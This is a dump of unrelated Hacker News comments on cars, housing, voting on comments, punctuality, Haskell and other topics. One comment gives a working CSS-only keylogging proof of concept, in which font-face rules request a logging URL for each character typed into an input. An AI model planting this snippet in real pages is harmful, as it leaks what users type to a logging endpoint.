skysight-inc/HackerNews huggingface dataset:
It will still be legal to sell plug-in hybrids, so the "ban" is just political posturing anyways. E.g. Volvo has stated they will shift all their models to plug-in hybrids well before 2025, so you can still buy your big mainly-petrol XC90 in 20 years time.

And by then, all of the perks you mention, like free parking, free ferries, driving in bus lanes, free road tax, they will all be gone even for electric cars.

Jeremy Clarkson predicted this whole shitshow perfectly way back when he said he was going to start a car company that put 9V batteries in Hummers and sold them as hybrids. It's pretty infuriating from an environmental perspective though.

On a constructive note, have you considered the new Mercedes or BMW plug-ins, like the C350e or the 530e? Realistically you'll get 30 km electric range on one charge, but for many that's enough (or close) for day-to-day driving. By 2025, that's probably doubled (or more). Then you just drive on petrol for your longer trips.
> Because mutation gives you tremendous flexibility,

Interesting how perspective works. I frequently think of mutation as a really annoying restriction. In the presence of mutation, I can no longer assume things are what they say they are -- for they mave have changed between when I looked at them and when I speak of them.

That is fine, if you have a way of separating state from identity, and a way of synchronising the two when it makes sense to do so. Unfortunately, languages with uncontrolled mutation lack both.
There are a lot of worthy causes that are great places to make “warlike” effort in. Therefore friendships happen when each individual chooses to go fight the war worth fighting. Your friends are the people who meet you there on the battlefield.

Whether it’s equality or justice or art or freedom or inclusion or community, those are all things worth fighting for.
There's a question of cost. Maybe you can be on time for a flight once in a while, but it costs you so much X (time, mental energy, money, whatever) that the same strategies would not help in day-to-day schedules. Ask someone with DSPS, for example.
Unfortunately Scotts Valley and Santa Cruz have anti-housing factions similar to everywhere else in the Bay Area, and the pro-housing faction is in earlier stages of organization than in the Bay Area. Scotts Valley City Council actually had a member say in open meeting that they don't want "those type of people" living there, in reference to renters and presumably others without the means to buy a home. Santa Cruz is similarly non-inclusive, and both are extremely homogenous communities that tend to scare away the typical racial diversity seen in a tech company. Many people of color in tech I've met say they simply don't feel welcome here like they do in the Bay Area.

Santa Cruz also has a green belt. But instead of encouraging density and all the environmental benefits of density, the aging political crew that enacted it now prefer sprawl, since they have their single family single story homes that continue to appreciate at astronomical rates. (At least until the homes are bought as tear-downs and replaced with single-family two story homes that extend to all corners of the property to maximize square footage.)

But if anybody can change attitudes, it's probably Apple or Google.
Mountain View has done a decent job on the streets near me on San Antonio with a lot of three-four story apartments/retail going up versus say Palo Alto or Los Altos right next door. The mall going under around the same time helped of course.
>But doesn't it then just eventually become an excuse not to bother cleaning up pages?

well the issue is that website don't do that

>Consumers or ad/data networks

both ?
You make yourself sound so powerless and victimized. Surely a self-fulfilling prophecy. You do have a choice—many of them. But it sounds like you’ve made them all in advance.
Also the first version may have had post-release bugfixes etc which are frequently omitted from the rewrite and then rediscovered later on.
Build your own mailing list, mailer and subscription form AWS Mobile Hub and React
How to identify your blind spots? -The Johari Window
Tried to read it on the phone. Got a huge blank page, with a few chat heads.
Wish people stick with basic HTML if they don't know what they're doing...
Ironically you're being down voted because of your post.

Having seen some atrocious perspectives and opinions and Hacker News, being able to challenge some one or offer a rebuttal that doesn't turn into a comment storm is important. I don't want to engage with a troll. I want to give them a down vote and hope they're flagged and removed more often than not (I can't down vote anyone yet...).

But, there's a fine line between down voting some one because they're offensive, obtuse or obnoxious and disagreeing with some one's opinion.

I don't agree with you. In fact I outright disagree with your opinion on HN becoming an echo chamber. I believe HN is far an echo chamber, I also think it's far more diverse than most. But naturally and organically the opinions here tend to confirm with a certain bias and I like to think that's because we here on HN take more time to discuss our conversations and perspectives than the echo chambers you find on Reddit or on Facebook.

I want to believe HN is more in line with a common good, a common ideal and common truth of humanity (you can call me out on being naive here if you wish, I'm feeling more optimistic today than I normally do and I don't know why but let's let sleeping dogs lie, my cynicism is usually relentless...).

So, yeah. I disagree with you. But I wouldn't down vote you. Even if I could.

Edit: poor choice of words, sentence structure, I rushed it all to get it out in time in the hope one day I can get to 500 karma and down vote trolls.
Seems to be a linked thumbnail. If you follow the link, github says: This file is too big to show. Sorry!
I wonder how it is possible to take 10 minutes, unless it is downloading directly from internet.

We always have internal Plexus mirrors, and the Jenkins servers have their global .m2 local repository.

Even big JEE applications barely take more than 5 minutes to build.

The only build system I really dislike are Android builds with Gradle, trying to beat C++ compilation times.
How do we know what kind of house is planned?
(Also, consider convincing other people who you've had a career impact on to do the same!)
It's partially an executive function thing. The "back of my mind" just doesn't come to the "front of my mind" nearly as often as you'd think.

Other random crap often does.
This feature exists in lobste.rs [0] and it is effective for making people think twice before downvoting anything. Atleast for me and I seem to think to again, if I want to downvote anything or not

[0] - https://i.imgur.com/s0EpZOH.png
Speaking personally, I'm frequently running late for events, but it has nothing to do with being inconsiderate, as I tend to be reasonably considerate in other ways. It's also a family trait, which is something we joke about, and my family includes some of the most considerate people I've ever met.

I get that waiting around doing nothing is annoying, but it doesn't have to be that way. For example, if I'm meeting up with some friends to go out, I'd much rather meet them in a pub rather than meet them at a bus or train station. That way their evening can start without me.

I'd also happily live somewhere with other people that don't put a high value on punctuality. As an example, I've heard in Costa Rica they have cultural trait of running on "tico time". I've only ever met a couple of people from Costa Rica before, so I can't say how common this is, but what I can say is that I'd not be offended by it, and I'd hope it was something we would all be a bit more laid back about than where I currently live.
I've not ever used Stride however I've now just tried it as a curiosity to see this UI that you find fault with. It feels figuratively just like Slack. I'm actually surprised just how similar it is in so many respects. So I'd love to hear your elaboration on the poorness of the Stride UI.
This reminds me of all these obese people who a are obese because of "health issues", to cover their horrific lifestyle. 98% of the cases, probably (I am being generous).

Same with the timekeeping : some feel that they are so unique and mentally impaired that keeping time is beyond them. But they just do not give a shit about others.

I was 30 kg overweight and had all kind of excuses (including a medical condition). I then moved out of this comfort zone and lost the extra weight.
Some peopke will not be able to do that, this is their choice. I will not pity them and certainly not allow for any specific arrangements if I see this is their fault. And yes, when you see someone drinking coke after coke and inguritating mountains of food you are not at risk of hitting the unfortunate 2%.

So get a watch, leave an hour early. If an hour is not enough, two hours.
Yes, this is impacting but then you choose which time is more important for you.
I apologize if you are in the 2% of people who cannot afford a watch or read the time with understanding.
Because this tool is licensed non-commercial. Using it for art that you sell would be a commercial use, and a violation of the license.
Good viz is what connects non-ML/AI users to the "magical" results of ML/AI
A New Way to Deploy Your Azure Web Apps and Function Apps
If students are missing multiple months of school, I doubt they're going to show up for a tutor.

My university offered free tutoring, and nudged the struggling students toward it. Most of them never showed. Of course, many of them were skipping the normal classes, so not too much surprise in that case.
Very nicely thought through and implemented i agree with you on the best practice point. Already forwarded to few folks and going to stay with my browser.
Certainly, but do you see where you can buy a commercial license for this? I don't.
A little bit too late, I'm afraid. Applications closed on January 8th.
why can't someone buy enough land and incorporate their own city?
Im a firm believer that one shouldn't be allowed to downvote without leaving a comment. In instances like spam or trolling we have the 'flag' option, which if abused should then cost people karma and/or the privilege of moderation.

I say this because I often get downvoted because people don't understand my point (sometimes due to my own fault badly explaining myself, sometimes the readers fault for skimming my post) and it's not until several downvoted before someone finally chimes in an clarifies why.

Negative rep get so badly abused on this site and the most frustrating thing about it all is whenever the topic gets raised you get downvoted to hell.

There is also a disappointing trend to kneejerk downvote any comment that disagrees with any of the "famous" (for want a better description) names on HN simply because member "xyz" must be wrong if they're arguing with the famed member "abc"; regardless of whatever point xyz had made. It's daft hero worshipping.

Then there's the amount of times people can get down voted on popular threads just because they dared express and unpopular opinion.

Overall I genuinely think the quality of comments on this site has dropped over the years and I think it's directly related to the increase in members reaching the threshold to negative moderate. It gets harder to have an adult conversation when half the time people are kneejerk downvoting rather than posting a rebuttal or simply asking for clarification on why an opinion was formed to begin with. It's gotten to the point that I'm sure many people now question whether they can be bothered with the potential backlash or whether they're better off just keeping quiet. Which results in some tropes (for want a better description) not getting peer reviewed or debunked because it's such a popular piece of misinformation that the correction isn't worth the backlash.

Lastly, I get sick of people saying we shouldn't take negative rep personally. It's someone actively saying "I don't agree with you but I'm not going to state why." There is no other response to that other than frustration.
That particalur quote is just saying that they don't uphold the commonly seen philosophy (creditted to NCLB and friends' funding requirements) of automatically failing kids who can't get to school almost every day.
10k in that space has to be midrise condos throughout given that high rises will meet stern neighborhood resistance.
I do not have lot of experience in SaaS. I do have experience dealing with conversion rate in ecommerce. I believe you usually cannot compare conversion rate across different businesses in different markets. Comparing SaaS businesses in different markets is like comparing apple and oranges.
Google AMP Is a Threat to the Open Web
No, it’s being realistic: if somebody doesn’t take you seriously enough to call you back or they disrespect you and devalue your time by being late several times, it’s time to ditch them: life is too short and precious for wasting it on masturbators and jokers.

A real friend won’t leave one hanging.
Except you haven't linked any evidence that the specific authors have conducted bad science in the past, merely that they have accepted money from people you don't like.
i`m new in mongo but i`m happy to learn everything about it, for the moment i`m to fresh to throught a opinion, but is an excellente way to storage data
i`m new in mongo but i`m happy to learn everything about it, for the moment i`m to fresh to throught to opinion, but it is an excellent way to storage data.
Well there are actually two ideas in the parent comment.

On Slashdot, upvotes and downvotes each came with a label. So upvote wasn't just an up-arrow, it was more like "+1, Helpful" or "+1, Funny". And downvotes weren't just a down arrow, the options were like "-1, Off Topic" or "-1, Abusive". Don't hold me to the actual labels, but you get the idea. There was also a cap; each post could only go so far down (can't remember) or up (pretty sure that was 5). Overall, this system was called moderation.

There was also meta-moderation, where people had to review someone else's votes up or down, and verify them. This way, people who were making bad votes could get caught by the community.

The ability to moderate or meta-moderate was hooked into the karma score, but I can't remember exactly how. Meta-moderation was like a chore you had to do sometimes to maintain the right to moderate, as I recall.

I'm sure there is a write-up somewhere that could do a better job than my off-teh-cuff remembering.
and because governments refuse to accept any responsibility for slavery and Jim Crow and the legacy of generational poverty it created.
The referenced original article is quite detailed, but in Japanese.: https://pc.watch.impress.co.jp/docs/column/kaigai/1107078.ht...
Just over ~2 years and almost half way there for me.

I haven't submitted much but occasionally comment around.

Glad I'm not the only procrastinator though the allure to be able to down vote trolls is very, very real.
e.g. you can use items like this as support for "send everyone to college" as a societal goal. People like pushing the message that "with the right investment, even total idiots can be college material!"
For the like pixel art, click here and scroll way down: http://noirlac.tumblr.com/archive
> It's going to be hard to fix those problems without taxing them.

its going to be hard to fix those problems if your only tool is "even more of some rich guy's money". there are structural problems, these schools have enough money to pay administrative staff into the 6 figures. theres no accountability as to the outcomes. its not a lack of funding. its a systemic problem.
Are you sure the page loaded? What browser are you using?

The blog, and its linked Toyota page, both work well for me in the Materialistic(HN reader) WebView.
That's a different tangent. Can enforcers abuse their enforcement privileges? Sure. Is the point of traffic regulations 'to stop people speeding in every location'? No.
On my first trip to Hong Kong (decades ago, as a teenager) I remember my family stayed in a hotel with a shopping centre on the lower levels. You took an elevator down from your room that literally opened out into a supermarket, food court, department store, etc. I remember thinking it was awesome. Add other facilities within enjoyable walking distance and you're laughing, for those keen to live with that density.
> maintaining a large and expensive ops team and dealing with ever-growing AWS bill

Set it up on real hardware with 2-3 good admins and you'll save 6x per year. AWS has its place, but it's unlikely that place is anywhere near 100% of everything. This truth has practically become a heresy, which means you can make good money by having the gumption to take advantage of it.

> Some are basically in the business of being an intermediary mailbox for transferring money from their customers to AWS.

Does this mean that you can win just by hiring one of the few people who can accomplish the terrifying task of, GULP, setting up a server without dragging around little blocks in a web GUI? :P
Style: "sentence with no punctuation"

Content: "https://github.com/NVIDIA/FastPhotoStyle."

Stylized Content: "https//githubcom/NVIDIA/FastPhotoStyle"

So friggin' close to realism! Damn ...
> not necessarily to ensure everyone is who they say they are

How does Verizon (to take your example) ensures this? They have the same zero verification process for the non-EV cert.
This is one of the rare instances where I would say a cloud service makes sense. You're bulky, expensive, highly specialized quantum computer sits in a data center and consumers connect to it as needed.
PWA is future of Mobile. Power of PWA and how to tame it
LM, NTLM, Net-NTLMv2, oh my - A Pentester’s Guide to Windows Hashes
> Im a firm believer that one shouldn't be allowed to downvote without leaving a comment.

I downvoted because I disagree with you.
Even the creators of Haskell have conceded that lazy-by-default was problematic

https://www.google.com/search?q="the+next+haskell+will+be+st...
Top 5 Features of S9 and S9+
Like most support systems for mapping, I have to imagine that it only triggers an actual ticket if multiple people report an issue at that same spot. Make sure you have your friends report it too and any Uber/Lyft drivers that get tied up there. That'll get it fixed in a jiffy.
To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago:

<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log

[1] https://github.com/jbtronics/CrookedStyleSheets/issues/24
[2] https://news.ycombinator.com/item?id=16157773
Since parents are paying the tuition to private schools, the parents are in a strong position to demand results. Having paying customers makes for a very different dynamic.
Monads are not a clever idea that makes Haskell hard to use. Purity is a clever idea that makes Haskell hard to use, and Monads are the best solution so far.
Suppose you publicly admit you're failing to educate most of the students. Do you see yourself likely to survive the next school board election?

But you might coast through those elections on a happy lie. Particularly if you make the papers by getting everyone admitted to university.
And what if the subsidized cost resulted in a new form of public transit that massively reduced fatalities and expanded people's work range while reducing pollution and traffic? Some things may be worth a few ads if tax dollars can't fully fund them to the level they would need to get prioritized.
“Washboard” is the common term for that phenomenon. You can mitigate it by driving faster than you should, but you’ll have basically zero traction.
Yes, miss one character in a thing that looks like HTML but is actually a gigantic function call, get an incomprehensible failure message about how the meta-template macro expansion has an error.
Re: bridge filtering

You can use the iptables physdev extension to match based on a bridge port rather than a mac address.

So to filter between containers, you can do:

iptables -I FORWARD -m physdev --physdev-in vetha056126 -j DROP

where vetha056126 is the name of the container's veth adapter's peer interface on the host.
May be "better than java" in your use case, but it's not "better java", as it's nothing like Java at all.
>If you do not conform, you will be downvoted into oblivion.

Is that true though? Conform in what way?

Who cares about being downvoted anyway?? I don't get it. After a few tantrums about it, I've realized it doesn't matter, I don't need to add edit: Could downvoters explain why please if they don't explain. Why do I care about my internet points, why am I getting sucked in to caring about the gamification? Why does it matter?

Say you are right, some opinions, even expressed articulately, helpfully, admirably etc are still always downvoted "into oblivion". So if you care, if it's important for you to change minds on it, try even harder to be more informed, articulate, irreproachable than the alleged HN 'conformists'. Hehe already talking like that, 'If you do not conform' has that heroic-paranoid-martyr sound to it that frequently downvoted/rate-limited people get. The people that ranted bitterly on the What has HN given you? page. They think it's what they say that's the problem, but in my experience it's inevitably how they say it. But every further downvote just 'proves' to them they're right.

And I'm not sure why you think HN would be better without oblivion-downvoting/flagging. More like Youtube, sure. But better? "Completely killed any chance", "giant echo chamber".. such dramatic language. Is your tone of such absolute certainty justified? Well, still there are people who think the dominant 'conformity' on HN is pro-US, anti-US, socialist, libertarian, and pro- and anti- just about anything you can imagine.
COTA:+Improving+Uber+Customer+Care+with+NLP+&#038;+Machine+Learning
Or apartments
Parent is suggesting combining 650b/27.5" wheel sets with large volume 27.5" tires. This gives you an outer wheel diameter near a 700c wheel. Something like this Durano 27.5 x 1.10 tire [1] and sealant would make for a bomb proof commuter.

[1] https://www.schwalbetires.com/bike_tires/racing_tires/durano...
The AMP spec, as written, allows anyone to host an AMP cache and serve AMP pages. Google’s is the biggest and the one you reach through Google search so people tend to assume it’s the only one, but Cloudflare runs one as well, along with the ones mentioned in the parent comment.

For more details, you can read the (very readable) AMP docs: https://www.ampproject.org/docs/guides/how_cached
Then you look at professional code written by the famous experts, and you see almost everything is written inside an app-specific ReadWriteStateIO monad.
Don't try to change how others use their email, talk to IT about getting a reasonable quota.
Why Russia’s VPN ban has had no effect so far
> In fact I outright disagree with your opinion on HN becoming an echo chamber.

I wouldn't say its a black and white issue. It heavily depends on the topic.
For example the Google Memo. Even the slightest hint that someone agrees (on specific points) with damore was a guarantee for downvotes.
In that case i would say HN reflects some sort of echo chamber.